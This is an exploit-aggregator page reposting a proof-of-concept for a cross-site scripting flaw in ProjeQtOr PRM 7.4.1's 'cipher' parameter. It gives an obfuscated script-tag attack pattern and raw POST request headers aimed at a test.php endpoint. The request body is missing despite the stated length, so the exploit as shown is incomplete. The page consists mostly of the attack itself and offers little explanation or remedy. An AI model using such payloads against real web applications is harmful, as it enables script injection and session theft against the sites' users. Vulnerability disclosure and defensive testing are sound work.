Looking for a fix? Check your Codebase security with multiple scanners from

Edit Report

Our sensors found this exploit at:

Below is a copy:

ProjeQtOr PRM 7.4.1 - 'cipher' XSS Vulnerability
# Exploit Title: ProjeQtOr PRM 7.4.1 - 'cipher' XSS Vulnerability
# Dork: N/A
# Date: 11-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage:
# Software Link:
# Version: 7.4.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: 
# Software Description: Complete, Collaborative, Quality based Open Source Project Organizer.
# Parameters : cipher
# Attack Pattern : 1'"()&%<acx><ScRiPt >9zVr(9323)</ScRiPt>
# POST Request: http://localhost/projeqtor/external/phpaes/test.php
POST /projeqtor/external/phpaes/test.php HTTP/1.1
Content-Length: 109
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/projeqtor/
Cookie: PHPSESSID=offdnj5n8jha9v4gqsmusi1isn
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


Copyright ©2019 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.